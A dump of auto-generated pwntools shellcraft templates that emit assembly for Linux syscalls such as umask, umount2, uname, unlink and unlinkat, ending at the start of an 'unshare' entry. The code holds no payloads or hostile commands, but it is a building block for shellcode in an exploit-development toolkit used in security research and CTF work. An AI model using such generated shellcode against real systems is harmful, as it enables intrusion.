  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/tuxcall.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>tuxcall(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall tuxcall.\n\nSee 'man 2 tuxcall' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_tuxcall']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_tuxcall'])\n%>\n    /* tuxcall(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ugetrlimit.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ugetrlimit(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ugetrlimit.\n\nSee 'man 2 ugetrlimit' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ugetrlimit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ugetrlimit'])\n%>\n    /* ugetrlimit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ulimit.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ulimit(cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall ulimit.\n\nSee 'man 2 ulimit' for more information.\n\nArguments:\n    cmd(int): cmd\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"cmd=0, vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['cmd', 'vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [cmd, vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ulimit']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ulimit'])\n%>\n    /* ulimit(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/umask.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>umask(mask) -> str\n\nInvokes the syscall umask.\n\nSee 'man 2 umask' for more information.\n\nArguments:\n    mask(mode_t): mask\nReturns:\n    mode_t\n</%docstring>\n<%page args=\"mask=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['mask']\n    argument_values = [mask]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_umask']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_umask'])\n%>\n    /* umask(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/umount.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>umount(special_file) -> str\n\nInvokes the syscall umount.\n\nSee 'man 2 umount' for more information.\n\nArguments:\n    special_file(char*): special_file\nReturns:\n    int\n</%docstring>\n<%page args=\"special_file=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['special_file']\n    can_pushstr_array = []\n\n    argument_names = ['special_file']\n    argument_values = [special_file]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_umount']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_umount'])\n%>\n    /* umount(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/umount2.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>umount2(special_file, flags) -> str\n\nInvokes the syscall umount2.\n\nSee 'man 2 umount2' for more information.\n\nArguments:\n    special_file(char*): special_file\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"special_file=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['special_file']\n    can_pushstr_array = []\n\n    argument_names = ['special_file', 'flags']\n    argument_values = [special_file, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_umount2']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_umount2'])\n%>\n    /* umount2(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/uname.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>uname(name) -> str\n\nInvokes the syscall uname.\n\nSee 'man 2 uname' for more information.\n\nArguments:\n    name(utsname*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['name']\n    argument_values = [name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_uname']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_uname'])\n%>\n    /* uname(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/unlink.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>unlink(name) -> str\n\nInvokes the syscall unlink.\n\nSee 'man 2 unlink' for more information.\n\nArguments:\n    name(char*): name\nReturns:\n    int\n</%docstring>\n<%page args=\"name=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['name']\n    argument_values = [name]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_unlink']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_unlink'])\n%>\n    /* unlink(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/unlinkat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>unlinkat(fd, name, flag) -> str\n\nInvokes the syscall unlinkat.\n\nSee 'man 2 unlinkat' for more information.\n\nArguments:\n    fd(int): fd\n    name(char*): name\n    flag(int): flag\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, name=0, flag=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['name']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'name', 'flag']\n    argument_values = [fd, name, flag]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_unlinkat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_unlinkat'])\n%>\n    /* unlinkat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/unshare.asm",
